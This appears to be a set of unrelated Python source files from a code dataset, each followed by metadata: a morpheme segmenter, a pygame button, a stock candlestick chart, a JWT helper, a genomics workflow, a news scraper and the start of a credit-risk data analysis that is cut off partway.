self.__word_dict = None\r\n self.__seg_dict = None\r\n self.__ta = None\r\n self.__probroots = None\r\n self.__probsuffix = None\r\n self.__probtrans = None\r\n\r\n def __get_frequent_long_words(self, word_dict):\r\n \"\"\"Collect a word frequency dictionary of words of length greater than 4 and appearing more than 3 times.\"\"\"\r\n new_word_dict = {}\r\n for word, freq in word_dict.items():\r\n word_len = len(word)\r\n if word_len <= 4:\r\n continue\r\n if freq < 3:\r\n continue\r\n new_word_dict[word] = freq\r\n return new_word_dict\r\n\r\n def __get_reliable_paradigm_suffixes(self, word_dict):\r\n \"\"\"Use long and frequent words to generate an initial set of suffixes.\"\"\"\r\n print('--get reliable words')\r\n reliable_word_dict = self.__get_frequent_long_words(word_dict)\r\n print('--create token analyzer')\r\n prior_prob_suffix = {}\r\n suffix_dict = dict(gen_N_best_suffix(word_dict, min_stem_len=self.param.MinStemLen,\r\n max_suf_len=self.param.MaxSuffixLen, best_N=self.param.BestNCandSuffix))\r\n itr = 0\r\n while itr < 2:\r\n itr += 1\r\n ta = TokenAnalyzer(reliable_word_dict, suffix_dict, self.param.MinStemLen, self.param.MaxSuffixLen,\r\n self.param.UseTransRules)\r\n print('--analyze possible segmentations for tokens')\r\n token_segs = ta.analyze_token_list(reliable_word_dict.keys())\r\n\r\n print('--get initial parameters') # initial probabilities for roots, suffixes, and transitions\r\n probroots, probsuffix, probtrans = get_initial_parameters(token_segs)\r\n if prior_prob_suffix:\r\n probsuffix = prior_prob_suffix # (???)\r\n\r\n print('--segment tokens') # get the most likely segmentation from those listed as possible in `token_segs`\r\n resolved_segs = do_step1_segmention(token_segs, probroots, probsuffix, probtrans)\r\n\r\n print('--create paradigms')\r\n paradigm_dict, _atomic_word_dict = create_paradigms(resolved_segs)\r\n\r\n print('--get paradigm suffix sets') # get a set of suffixes for each root\r\n root_suffix_set_list = get_paradigm_suffix_sets(paradigm_dict)\r\n\r\n print('--prune paradigms')\r\n reliables, singles, reliable_affix_type_dict = get_reliable_suffix_tuples(\r\n root_suffix_set_list,\r\n word_dict,\r\n self.param.MinParadigmSupport,\r\n self.param.MinParadigmSuffix,\r\n self.param.MinSuffixFreq\r\n )\r\n suffix_dict = reliable_affix_type_dict\r\n\r\n # use these suffix probabilities at the next iteration\r\n prior_prob_suffix = estimate_suffix_probability(suffix_dict)\r\n\r\n return reliables, singles, reliable_affix_type_dict\r\n\r\n def __strip_apostrophe(self, token):\r\n \"\"\"Split before an apostrophe, ensuring it appears after any hyphen.\"\"\"\r\n apostrophe = ''\r\n left_part = token\r\n indx = token.rfind(self.param.ApostropheChar)\r\n indx_hyphen = token.rfind('-')\r\n if indx > indx_hyphen:\r\n apostrophe = token[indx:]\r\n left_part = token[:indx]\r\n return left_part, apostrophe\r\n\r\n def __split_compound(self, token, word_dict):\r\n \"\"\"Split a token into its compound components, based on a dictionary of known words.\"\"\"\r\n # if the word is less than 7 characters, we'll assume it's not compound.\r\n if len(token) < 7:\r\n return [token]\r\n\r\n # collect possible splits\r\n candidate_analyses = []\r\n for i in range(3, len(token) - 2):\r\n # split at index i\r\n word0 = token[:i]\r\n word1 = token[i:]\r\n\r\n # the split is invalid if word0 or word1 isn't a known word\r\n if not (word0 in word_dict and word1 in word_dict):\r\n continue\r\n\r\n # the split is invalid if word0 or word1 isn't a reliable root\r\n freq0 = word_dict[word0]\r\n freq1 = word_dict[word1]\r\n if not (is_reliable_root(word0, freq0) and is_reliable_root(word1, freq1)):\r\n continue\r\n\r\n # save the split\r\n candidate_analyses.append([[word0, word1], abs(len(token) - 2 * i), -i])\r\n\r\n # if no split was probable, return the word itself\r\n if not candidate_analyses:\r\n return [token]\r\n\r\n # otherwise, choose the split that splits closest to the edge [maximizes abs(len(token) - 2 * i)]\r\n return sorted(candidate_analyses, key=lambda x: (x[1], x[2]))[0][0]\r\n\r\n def __get_subtokens(self, token, word_dict):\r\n \"\"\"Split along hyphens, and optionally call self.__split_compound.\"\"\"\r\n subtokens = token.split('-')\r\n subtoken_compound = []\r\n for subtoken in subtokens:\r\n if self.param.DoCompound:\r\n compound_components = self.__split_compound(subtoken, word_dict)\r\n subtoken_compound.extend(compound_components)\r\n else:\r\n subtoken_compound.append(subtoken)\r\n return subtoken_compound\r\n\r\n def __process_hyphen(self, word_dict):\r\n \"\"\"Return a morpheme frequency dictionary using the word frequency dictionary provided.\r\n\r\n Split along hyphens to collect morphemes, and use the total word's frequency as the frequency of each morpheme.\r\n \"\"\"\r\n processed_word_dict = {}\r\n for word, freq in word_dict.items():\r\n subwords = word.split('-')\r\n for subword in subwords:\r\n if not subword:\r\n continue\r\n if subword in processed_word_dict:\r\n processed_word_dict[subword] += freq\r\n else: processed_word_dict[subword] = freq\r\n return processed_word_dict\r\n\r\n def __process_apostrophe(self, word_dict):\r\n \"\"\"Remove apostrophes (and everything following) from each word in a word frequency dictionary.\r\n\r\n Won't remove apostrophes at the beginning of a word.\r\n \"\"\"\r\n processed_word_dict = {}\r\n for word, freq in word_dict.items():\r\n indx = word.find(self.param.ApostropheChar)\r\n if indx >= 0:\r\n word = word[:indx]\r\n if word in processed_word_dict:\r\n processed_word_dict[word] += freq\r\n else: processed_word_dict[word] = freq\r\n return processed_word_dict\r\n\r\n def __process_tokens(self, token_freq_list):\r\n \"\"\"Convert word frequency list to dictionary.\r\n\r\n If selected by params, call self.__process_hyphen and/or self.__process_apostrophe as well.\r\n \"\"\"\r\n word_dict = dict(token_freq_list)\r\n if self.param.DoHyphen:\r\n word_dict = self.__process_hyphen(word_dict)\r\n if self.param.DoApostrophe:\r\n word_dict = self.__process_apostrophe(word_dict)\r\n return word_dict\r\n\r\n def __segment_simple_token(self, token, seg_dict, ta, probroots, probsuffix, probtrans):\r\n \"\"\"Segment a token assumed to have no hyphens or apostrophes, using the model specified in the parameters.\"\"\"\r\n # if the token is recognized, segment it according to the model\r\n if token in seg_dict:\r\n return seg_dict[token]\r\n\r\n # get possible segmentations\r\n segs = ta.analyze_token(token)\r\n\r\n # find the segment with the highest probability\r\n max_prob = 0.0\r\n best_ts = None\r\n for ts in segs:\r\n prob = calc_seg_prob(ts, probroots, probsuffix, probtrans)\r\n if prob > max_prob:\r\n max_prob = prob\r\n best_ts = ts\r\n\r\n if best_ts:\r\n root = best_ts.root\r\n suffix = best_ts.suffix\r\n trans = best_ts.trans\r\n morph = best_ts.morph\r\n\r\n # if the word is simple, return it that way\r\n if suffix == '$':\r\n return ((token,), ((token, '$', '$'),))\r\n\r\n morphs = []\r\n components = []\r\n # if the root has been segmented before, then use that segmentation too\r\n if root in seg_dict:\r\n root_seg = seg_dict[root]\r\n seg_morphs = list(root_seg[0])\r\n seg_components = root_seg[1]\r\n indx = 0\r\n for i in range(len(seg_morphs) - 1):\r\n root_morph = seg_morphs[i]\r\n morphs.append(root_morph)\r\n indx += len(root_morph)\r\n morphs.append(morph[indx:])\r\n components.extend(seg_components)\r\n else: # otherwise, assume it's simple\r\n morphs.append(morph)\r\n components.append((root, '$', '$'))\r\n # add the final transformation to the lists of morphs and components\r\n morphs.append(suffix)\r\n components.append((root, trans, suffix))\r\n\r\n return (tuple(morphs), tuple(components))\r\n\r\n # if there was no best segmentation, assume it's simple\r\n return ((token,), ((token, '$', '$'),))\r\n\r\n def __segment_token(self, token, word_dict, seg_dict, ta, probroots, probsuffix, probtrans):\r\n \"\"\"Segment the token using the model objects from the parameters.\"\"\"\r\n # strip apostrophe if there, and split along hyphens\r\n token, apostrophe_0 = self.__strip_apostrophe(token)\r\n subtokens = self.__get_subtokens(token, word_dict)\r\n\r\n morphs = []\r\n components = []\r\n for subtoken in subtokens:\r\n # strip apostrophes from each subtoken\r\n subtoken, apostrophe = self.__strip_apostrophe(subtoken)\r\n\r\n if not subtoken:\r\n continue\r\n\r\n # segment the subtoken, and add the morphs and components to the list\r\n seg_subtoken_morphs, seg_subtoken_components = self.__segment_simple_token(\r\n subtoken, seg_dict, ta, probroots, probsuffix, probtrans)\r\n morphs.extend(seg_subtoken_morphs)\r\n components.extend(seg_subtoken_components)\r\n\r\n # add the apostrophe part of the subtoken\r\n if apostrophe:\r\n morphs.append(apostrophe)\r\n components.append((apostrophe, '$', '$'))\r\n\r\n # account for the apostrophe part, if there\r\n if apostrophe_0:\r\n morphs.append(apostrophe_0)\r\n components.append((apostrophe_0, '$', '$'))\r\n\r\n return tuple(morphs), tuple(components)\r\n\r\n def __segment_tokens(self, token_list, seg_dict, word_dict, ta, probroots, probsuffix, probtrans):\r\n \"\"\"Apply __segment_token to each token in the list.\"\"\"\r\n token_segs = []\r\n for token in token_list:\r\n morphs, components = self.__segment_token(token, word_dict, seg_dict, ta, probroots, probsuffix, probtrans)\r\n token_segs.append((morphs, components))\r\n return token_segs\r\n\r\n def train(self, train_word_freq_list):\r\n \"\"\"Create a model from the given word frequency list.\"\"\"\r\n # create the word frequency dictionary, parsing hyphens and apostrophes as determined by self.params\r\n train_dict = self.__process_tokens(train_word_freq_list)\r\n\r\n # get paradigms with reliable suffixes\r\n reliable_suffix_tuples, single_suffix_tuples, suffix_dict = self.__get_reliable_paradigm_suffixes(train_dict)\r\n\r\n print('| Generate tokens candidate segmentations')\r\n token_analyzer = TokenAnalyzer(\r\n train_dict,\r\n suffix_dict,\r\n self.param.MinStemLen,\r\n self.param.MaxSuffixLen,\r\n self.param.UseTransRules)\r\n token_segs = token_analyzer.analyze_token_list(train_dict.keys())\r\n\r\n print('| Obtain statistics')\r\n probroots, _probsuffix, probtrans = get_initial_parameters(token_segs)\r\n probsuffix = estimate_suffix_probability(suffix_dict)\r\n\r\n print('| Segment tokens')\r\n resolved_segs = do_step1_segmention(token_segs, probroots, probsuffix, probtrans)\r\n\r\n print('| Create paradigms')\r\n paradigm_dict, atomic_word_dict = create_paradigms(resolved_segs)\r\n\r\n # print('| Recalculate seg probability')\r\n # token_seg_probs = calc_seg_probs(token_segs, probroots, probsuffix, probtrans)\r\n # token_seg_prob_dict = dict(token_seg_probs)\r\n\r\n print('| Calculate suffix score') # using the distribution of root lengths\r\n suffix_type_score = calc_suf_score_by_dist(paradigm_dict)\r\n\r\n if self.param.DoPruning:\r\n print('| Prune paradigms')\r\n paradigm_dict = prune_paradigms(\r\n paradigm_dict,\r\n reliable_suffix_tuples,\r\n suffix_type_score,\r\n single_suffix_tuples,\r\n train_dict,\r\n self.param.ExcludeUnreliable)\r\n\r\n print('| Get segmentation dictionary')\r\n # use the paradigms to get a map from words to their segmentation structure\r\n seg_dict = get_seg_dict_by_paradigms(paradigm_dict)\r\n # add the atomic words to the list\r\n seg_dict.update(atomic_word_dict)\r\n\r\n # combine reliable suffix tuples and single suffix tuples into one dictionary (Why???)\r\n suffix_tuple_dict = {}\r\n suffix_tuple_dict.update(reliable_suffix_tuples)\r\n suffix_tuple_dict.update(single_suffix_tuples)\r\n\r\n self.__word_dict = train_dict\r\n self.__seg_dict = seg_dict\r\n self.__ta = token_analyzer\r\n self.__probroots = probroots\r\n self.__probsuffix = probsuffix\r\n self.__probtrans = probtrans\r\n\r\n def segment_token(self, token):\r\n \"\"\"Use the currently trained model to segment the token.\"\"\"\r\n return self.__segment_token(\r\n token,\r\n self.__word_dict,\r\n self.__seg_dict,\r\n self.__ta,\r\n self.__probroots,\r\n self.__probsuffix,\r\n self.__probtrans)\r\n\r\n def segment_token_list(self, token_list):\r\n \"\"\"Apply segment_token to each token in the list.\"\"\"\r\n token_seg_list = []\r\n for token in token_list:\r\n token_seg_list.append(self.segment_token(token))\r\n return token_seg_list\r\n","sub_path":"morphanalyzer.py","file_name":"morphanalyzer.py","file_ext":"py","file_size_in_byte":15064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"258336558","text":"import numpy\nimport pygame\nfrom pygame.locals import *\n\n# define colours\nBLUE = (135, 206, 235)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nYELLOW = (255, 255, 0)\nWHITE = (255, 255, 255)\nbg_color = (178, 190, 181)\n\nrow_number = 6\ncolumn_number = 7\nboard = numpy.zeros((row_number, column_number))\nuserPiece = 1\nAIPiece = -1\nEMPTY = 0\nWINNING_LENGTH = 4\n\npygame.init()\n# font for button\nfont = pygame.font.SysFont('Constantia', 14)\n\n# define global variable\nclicked = False\n\n\nclass Button:\n # colours for button and text\n button_col = (255, 0, 0)\n hover_col = (75, 225, 255)\n click_col = (50, 150, 255)\n text_col = BLACK\n width = 80\n height = 40\n\n def __init__(self, x, y, text, screen):\n self.x = x\n self.y = y\n self.text = text\n self.screen = screen\n\n def draw_button(self):\n\n global clicked\n action = False\n\n # get mouse position\n pos = pygame.mouse.get_pos()\n\n # create pygame Rect object for the button\n button_rect = Rect(self.x, self.y, self.width, self.height)\n\n # check mouseover and clicked conditions\n if button_rect.collidepoint(pos):\n if pygame.mouse.get_pressed()[0] == 1:\n clicked = True\n pygame.draw.rect(self.screen, self.click_col, button_rect)\n elif pygame.mouse.get_pressed()[0] == 0 and clicked == True:\n clicked = False\n action = True\n else:\n pygame.draw.rect(self.screen, self.hover_col, button_rect)\n else:\n pygame.draw.rect(self.screen, self.button_col, button_rect)\n\n # add shading to button\n pygame.draw.line(self.screen, WHITE, (self.x, self.y), (self.x + self.width, self.y), 2)\n pygame.draw.line(self.screen, WHITE, (self.x, self.y), (self.x, self.y + self.height), 2)\n pygame.draw.line(self.screen, BLACK, (self.x, self.y + self.height), (self.x + self.width, self.y + self.height), 2)\n pygame.draw.line(self.screen, BLACK, (self.x + self.width, self.y), (self.x + self.width, self.y + self.height), 2)\n\n # add text to button\n text_img = font.render(self.text, True, self.text_col)\n text_len = text_img.get_width()\n self.screen.blit(text_img, (self.x + int(self.width / 2) - int(text_len / 2), self.y + 18))\n return action\n\n\n","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"446065708","text":"from pandas_datareader import data\nimport datetime\nfrom bokeh.plotting import figure, show, output_file\n\nstartdate = datetime.datetime(2016,3,1)\nenddate = datetime.datetime(2016,3,10)\ndf = data.DataReader(name=\"AAPL\", data_source=\"yahoo\", start = startdate, end = enddate )\n#print(df)\n\n## to get other kinds of financial data from other sources go to pandas-datareader.readthedocs.org\n\ndef inc_dec(c,o):\n if c > o:\n value = \"Increase\"\n elif c < o:\n value = \"Decrease\"\n else:\n value = \"Equal\"\n return value\n\ndf[\"Status\"] = [inc_dec(c,o) for c,o in zip(df.Close,df.Open)]\ndf[\"Middle\"] = (df.Close + df.Open)/2\ndf[\"Height\"] = abs(df.Close - df.Open)\nprint(df)\n\np = figure(title=\"Candlestick Chart\", x_axis_type='datetime', width = 1000, height = 300)\n\nhours_12 = 12 * 60 * 60 * 1000\n\np.rect(df.index[df.Status==\"Increase\"], df.Middle[df.Status==\"Increase\"], hours_12,\n df.Height[df.Status==\"Increase\"], fill_color=\"green\", line_color=\"black\")\n\np.rect(df.index[df.Status==\"Decrease\"], df.Middle[df.Status==\"Decrease\"], hours_12,\n df.Height[df.Status==\"Decrease\"], fill_color=\"red\", line_color=\"black\")\n\noutput_file(\"CS.html\")\nshow(p)","sub_path":"RealWorldApp_Projects/StockAnalysis.py","file_name":"StockAnalysis.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"8440794","text":"__author__ = 'Shweta'\nfrom django.test import TestCase\nfrom tack.models import Boards\nfrom mock import MagicMock\n\nclass BoardTestCase(TestCase):\n def setUp(self):\n Boards.objects.create(Name='B1',privacy='Public')\n\n def test_board_privacy(self):\n b1 = Boards.objects.get(Name='B1')\n self.assertEqual(b1.privacy, 'Public')\n\n\n\n","sub_path":"tack/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"507777430","text":"import datetime\n\nimport jwt\n\nfrom helpers.auth.exceptions import ReadTokenException\n\n\nsecret = 'SUPER_SECRET_KEY'\n\n\ndef create_token(data: dict, *, lifetime: int = 1) -> str:\n payload = {\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=lifetime),\n }\n payload.update(data)\n return jwt.encode(payload, secret, algorithm='HS256')\n\n\ndef read_token(token: str) -> dict:\n try:\n return jwt.decode(token, secret, algorithms='HS256')\n except jwt.exceptions.PyJWTError:\n raise ReadTokenException\n","sub_path":"helpers/auth/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"329639010","text":"import sys\nsys.path.append(\n '/Users/rileylittlefield/Desktop/notes/readingnotes/python-ml/data-science-from-scratch/09-exercises'\n)\nfrom maximize_utils import maximize_batch\nimport math\nfrom dimensionality_reduction_data import sample_data\nfrom functools import reduce, partial\nimport pdb\n\ndef shape(A):\n return len(A), len(A[0])\n\ndef component_means(vectors):\n vector_total, component_total = len(vectors), len(vectors[0])\n component_means = [ 0 for _ in range(component_total)]\n for vector in vectors:\n for index, component in enumerate(vector):\n component_means[index] += component / vector_total\n return component_means\n\ndef make_matrix(original, transform):\n new_matrix = []\n for row_idx, _ in enumerate(original):\n new_matrix.append([])\n for col_idx, _ in enumerate(original[row_idx]):\n new_matrix[row_idx].append(transform(row_idx, col_idx))\n return new_matrix\n\ndef component_std_devs(vectors):\n vector_total, component_total = len(vectors), len(vectors[0])\n means = component_means(vectors)\n mean_devs_squared = make_matrix(vectors, lambda row, col: (vectors[row][col] - means[col]) ** 2)\n component_variances = [ 0 for _ in range(component_total) ]\n for vector in mean_devs_squared:\n for index, mean_dev_squared in enumerate(vector):\n component_variances[index] += mean_dev_squared / vector_total\n component_std_devs = list(map(lambda num: math.sqrt(num), component_variances))\n return component_std_devs\n\ndef scale(vectors):\n return component_means(vectors), component_std_devs(vectors)\n\ndef de_mean_matrix(A):\n number_of_rows, number_of_cols = shape(A)\n column_means, _ = scale(A)\n return make_matrix(A, lambda row, col: A[row][col] - column_means[col])\n\n\nde_meaned_data = de_mean_matrix(sample_data)\n\ndef vector_magnitude(vector):\n squared_sum = reduce(lambda accum, term: accum + term ** 2, vector, 0)\n return math.sqrt(squared_sum)\n\ndef direction_vector(vector):\n magnitude = vector_magnitude(vector)\n return [ component / magnitude for component in vector ]\n\ndef component_wise_products(vector_a, vector_b):\n component_pairs = zip(vector_a, vector_b)\n return list(map(lambda num_pair: num_pair[0] * num_pair[1], component_pairs))\n\ndef dot_product(vector_a, vector_b):\n a_b_component_products = component_wise_products(vector_a, vector_b)\n return reduce(lambda accum, next: accum + next, a_b_component_products)\n\ndef directional_variance(vector, contrast_vector):\n return dot_product(vector, direction_vector(contrast_vector)) ** 2\n\ndef directional_variance_composite(vector_list, contrast_vector):\n return sum(\n directional_variance(vector, contrast_vector)\n for vector\n in vector_list\n )\n\ndef directional_variance_gradient(vector, contrast_vector):\n projection_length = dot_product(vector, direction_vector(contrast_vector))\n return [\n 2 * projection_length * component\n for component \n in vector\n ]\n\ndef component_sum(vectors, index):\n return reduce(lambda accum, next: accum + next[index], vectors, 0)\n\ndef vector_sum(vectors):\n return [\n component_sum(vectors, component_index)\n for component_index\n in range(len(vectors[0]))\n ]\n\ndef directional_variance_gradient_composite(vector_list, contrast_vector):\n return vector_sum([\n directional_variance_gradient(vector, contrast_vector)\n for vector\n in vector_list\n ])\n\n# First principal component is the direction that maximizes the\n# directional variance function.\ndef first_principal_component(vector_list):\n guess = [1 for _ in vector_list[0]]\n unscaled_maximizer = maximize_batch(\n partial(directional_variance_composite, vector_list),\n partial(directional_variance_gradient_composite, vector_list),\n guess\n )\n maximized_direction = direction_vector(unscaled_maximizer)\n return maximized_direction\n\ndef scalar_multiply(scalar, vector):\n return map(lambda component: component * scalar, vector);\n\ndef project(vector, other_vector):\n projection_length = dot_product(vector, other_vector)\n return scalar_multiply(projection_length, other_vector)\n\n","sub_path":"11-exercises/dimensionality_reduction.py","file_name":"dimensionality_reduction.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"24388793","text":"from typing import List, OrderedDict\n\nfrom rdr_service import clock\nfrom rdr_service.dao.genomics_dao import GenomicLongReadDao\nfrom rdr_service.genomic_enums import GenomicLongReadPlatform\n\n\nclass GenomicLongReadWorkFlow:\n\n @classmethod\n def run_lr_workflow(cls, row_data: List[OrderedDict]) -> None:\n long_read_dao = GenomicLongReadDao()\n current_set = long_read_dao.get_max_set()\n incremented_set_number = 0 if current_set[0] is None else current_set[0]\n\n long_read_members = long_read_dao.get_new_long_read_members(\n biobank_ids=[row.get('biobank_id')[1:] for row in row_data],\n parent_tube_ids=[row.get('parent_tube_id') for row in row_data]\n )\n\n long_read_objs = []\n incremented_set_number += 1\n lr_site_id = row_data[0].get('lr_site_id')\n lr_platform = row_data[0].get('long_read_platform')\n\n for long_read_member in long_read_members:\n long_read_objs.append({\n 'created': clock.CLOCK.now(),\n 'modified': clock.CLOCK.now(),\n 'genomic_set_member_id': long_read_member.genomic_set_member_id,\n 'biobank_id': long_read_member.biobank_id,\n 'lr_site_id': lr_site_id,\n 'long_read_platform': GenomicLongReadPlatform.lookup_by_name(\n lr_platform.upper()\n ),\n 'long_read_set': incremented_set_number\n })\n\n long_read_dao.insert_bulk(long_read_objs)\n\n","sub_path":"rdr_service/genomic/genomic_long_read_workflow.py","file_name":"genomic_long_read_workflow.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"155624651","text":"# %%\n\nimport os\nimport requests\nfrom lxml import etree\nimport pandas as pd\nimport re\nimport json\nfrom selenium import webdriver\nimport time\nimport datetime\nimport config\nimport public_fun\n\n\n# %%\n\ndef handle(url):\n res = requests.get(url=url, headers=config.HEADERS)\n if res.status_code != 404:\n res.encoding = res.apparent_encoding\n html = etree.HTML(res.text)\n else:\n print('url1 404错误:', res.status_code, url)\n return [], ''\n urls = html.xpath('//*[@class=\"search-result\"]/li/a/@href')\n try:\n index_next_page = 'http://www.767stock.com/searchall{}'\n next_href = index_next_page.format(html.xpath('//*[@class=\"next page-numbers\"]/@href')[0])\n except:\n next_href = ''\n else:\n result = [urls[n] for n in range(len(urls))] # 通过时间过滤url2\n return result, next_href\n\n\ndef get_data(url, search_word, max_text):\n json_result = {'source': 'lqzk', 'doc_id': '', 'date': '', 'download_url': '',\n 'org_name': '', 'page_num': '1', 'doc_type': 'NEWS', 'title': ''}\n path = os.path.join(config.SAVE_PATH, search_word, 'news', '767stock') # 路径\n res = requests.get(url=url, headers=config.HEADERS)\n res.encoding = res.apparent_encoding\n html = etree.HTML(res.text)\n content_text = public_fun.filter_space_json(html.xpath('//*[@class=\"entry-content\"]//text()')) # 正文内容\n\n if len(content_text) > max_text:\n try:\n # ==============================html=========================\n doc_id = url.split('/')[-1].replace('.html', '') # 文章ID\n description = html.xpath('//*[@class=\"entry-content\"]')[0] # 文章内容 html\n html_list = [description]\n html_result = public_fun.filter_space_html(html_list)\n # ==============================json=========================\n json_result['doc_id'] = doc_id\n json_result['date'] = public_fun.filter_space_json(\n html.xpath('//*[@class=\"entry-date\"]/text()')[0].replace('-', ''))\n json_result['download_url'] = html.xpath('//*[@class=\"btn-download\"]/@href')[0]\n json_result['org_name'] = public_fun.filter_space_json(\n html.xpath('//*[@class=\"categories-links\"]/a/text()'))\n json_result['title'] = public_fun.filter_space_json(html.xpath('//*[@class=\"entry-title\"]/text()'))\n public_fun.write_down_json(path=path, filename=doc_id + '.json', text=json_result)\n public_fun.write_down_html(path=path, filename=doc_id + '.html', text=html_result)\n except Exception as e:\n print(e.__traceback__.tb_lineno, url, e)\n else:\n print('文章字数不足', max_text, url)\n\n\ndef main(search_word, max_art, max_text, s_date):\n url1 = 'http://www.767stock.com/searchall?s_key={}'.format(search_word) # 文章url列表\n url2_list = [] # 文章内容url\n while url1:\n one_page_url, next_page = handle(url=url1)\n url2_list += one_page_url\n if next_page and len(url2_list) < max_art:\n url1 = next_page\n else:\n url1 = ''\n url2_list = url2_list[:5] if config.DEBUG else url2_list # 取十条测试数据\n for url2 in url2_list:\n get_data(url=url2, search_word=search_word, max_text=max_text)\n\n\nif __name__ == '__main__':\n p0 = '人工智能' # 搜索关键词\n p1 = 100 # 获取文章最大数量\n p2 = 500 # 文章最小字数\n p3 = '2018-01-01'\n r = main(search_word=p0, max_art=p1, max_text=p2, s_date=p3)\n","sub_path":"Backend/scrapers/news/temp/_767stock.py","file_name":"_767stock.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"213276411","text":"from socket import inet_pton, AF_INET, AF_INET6\nfrom flask import abort, Flask, request\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n # Make best-effort guess at the client's IP\n try:\n ip = request.headers['X-Forwarded-For'].split(', ')[0]\n except KeyError:\n ip = request.remote_addr\n # Attempt to sanitize/validate against possible\n try:\n inet_pton(AF_INET, ip)\n except OSError:\n try:\n inet_pton(AF_INET6, ip)\n except OSError:\n abort(400)\n finally:\n return ip\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"155173797","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndata_train = pd.read_csv('cs-training.csv')\n\n#EDA\n#显示所有列\npd.set_option(\"display.max_columns\", None)\n#显示所有行\npd.set_option(\"display.max_rows\", None)\nprint(data_train.head())\nprint(data_train.dtypes)\nprint(data_train.describe())\nprint(data_train.info())\n#MonthlyIncome and NumberOfDependents have null\n\n#看下数据有没有重复值\nprint(\"Duplicated: \", data_train.duplicated().sum())\n#删除重复值\ndata_train = data_train.drop_duplicates()\n\ndata_train.drop('Unnamed: 0', axis=1, inplace=True)\n\n#列名重命名\ncolnames={'SeriousDlqin2yrs':'Isdlq',\n 'RevolvingUtilizationOfUnsecuredLines':'Revol',\n 'NumberOfTime30-59DaysPastDueNotWorse':'Num30-59late',\n 'NumberOfOpenCreditLinesAndLoans':'Numopen',\n 'NumberOfTimes90DaysLate':'Num90late',\n 'NumberRealEstateLoansOrLines':'Numestate',\n 'NumberOfTime60-89DaysPastDueNotWorse':'Num60-89late',\n 'NumberOfDependents':'Numdepend'}\ndata_train.rename(columns=colnames,inplace=True)\n\nsns.countplot('Isdlq', data=data_train)\nbadNum = data_train.loc[data_train['Isdlq'] == 1, :].shape[0]\ngoodNum = data_train.loc[data_train['Isdlq'] == 0, :].shape[0]\nprint('好坏比:{0}%'.format(round(badNum*100/(goodNum+badNum), 2)))\n#data imbalance\n\n#Age数据分布情况\nfig, [ax1, ax2] = plt.subplots(1, 2, figsize=(20, 6))\nsns.distplot(data_train['age'], ax=ax1)\nsns.boxplot(y='age', data=data_train, ax=ax2)\n#异常值情况\nage_mean=data_train['age'].mean()\nage_std=data_train['age'].std()\nage_lowlimit = age_mean - 3 * age_std\nage_uplimit = age_mean + 3 * age_std\nprint('异常值下限:', age_lowlimit, '异��值上限:', age_uplimit)\n\nage_lowlimitd = data_train.loc[data_train['age'] < age_lowlimit, :]\nage_uplimitd = data_train.loc[data_train['age'] > age_uplimit, :]\nprint('异常值下限比例:{0}%'.format(age_lowlimitd.shape[0]*100/data_train.shape[0]),\n '异常值上限比例:{0}%'.format(age_uplimitd.shape[0]*100/data_train.shape[0]))\n\ndata_age = data_train.loc[data_train['age'] > 0, ['age', 'Isdlq']]\ndata_age.loc[(data_age['age'] > 18) & (data_age['age'] < 40), 'age'] = 1\ndata_age.loc[(data_age['age'] >= 40) & (data_age['age'] < 60), 'age'] = 2\ndata_age.loc[(data_age['age'] >= 60) & (data_age['age'] < 80), 'age'] = 3\ndata_age.loc[(data_age['age'] >= 80), 'age'] = 4\nage_Isdlq = data_age.groupby('age')['Isdlq'].sum()\nage_total = data_age.groupby('age')['Isdlq'].count()\nage_Isratio = age_Isdlq/age_total\nplt.figure()\nage_Isratio.plot(kind='bar', figsize=(8, 6), color='#4682B4')\n\n#Revol数据分布\nfigure=plt.figure(figsize=(8,6))\nplt.scatter(data_train['Revol'],data_train['age'])\nplt.grid()\n\npercent_25 = np.percentile(data_train['Revol'], 25)\npercent_75 = np.percentile(data_train['Revol'], 75)\nRevol_lowlimit = percent_25-1.5*(percent_75-percent_25)\nRevol_uplimit = percent_75+1.5*(percent_75-percent_25)\nprint('异常值下限值:', Revol_lowlimit, '异常值上限值:', Revol_uplimit)\n\n#将数据分为两部分,小于1和大于1的部分\ndata1 = data_train.loc[data_train['Revol'] < 1, :]\ndata2 = data_train.loc[data_train['Revol'] >= 1, :]\n#看一下两部分数据分布情况\nfig = plt.figure(figsize=(20, 6))\nax1 = fig.add_subplot(1, 2, 1)\nax2 = fig.add_subplot(1, 2, 2)\nsns.distplot(data1['Revol'], ax=ax1, bins=10)\nsns.distplot(data2['Revol'], ax=ax2, bins=10)\n\nfig, [[ax1, ax2], [ax3, ax4]] = plt.subplots(2, 2, figsize=(20, 10))\nsns.distplot(data_train.loc[(data_train['Revol'] >= 1) & (data_train['Revol'] < 100), 'Revol'], bins=10, ax=ax1)\nsns.distplot(data_train.loc[(data_train['Revol'] >= 100) & (data_train['Revol'] < 1000), 'Revol'], bins=10, ax=ax2)\nsns.distplot(data_train.loc[(data_train['Revol'] >= 1000) & (data_train['Revol'] < 10000), 'Revol'], bins=10, ax=ax3)\nsns.distplot(data_train.loc[data_train['Revol'] >= 10000, 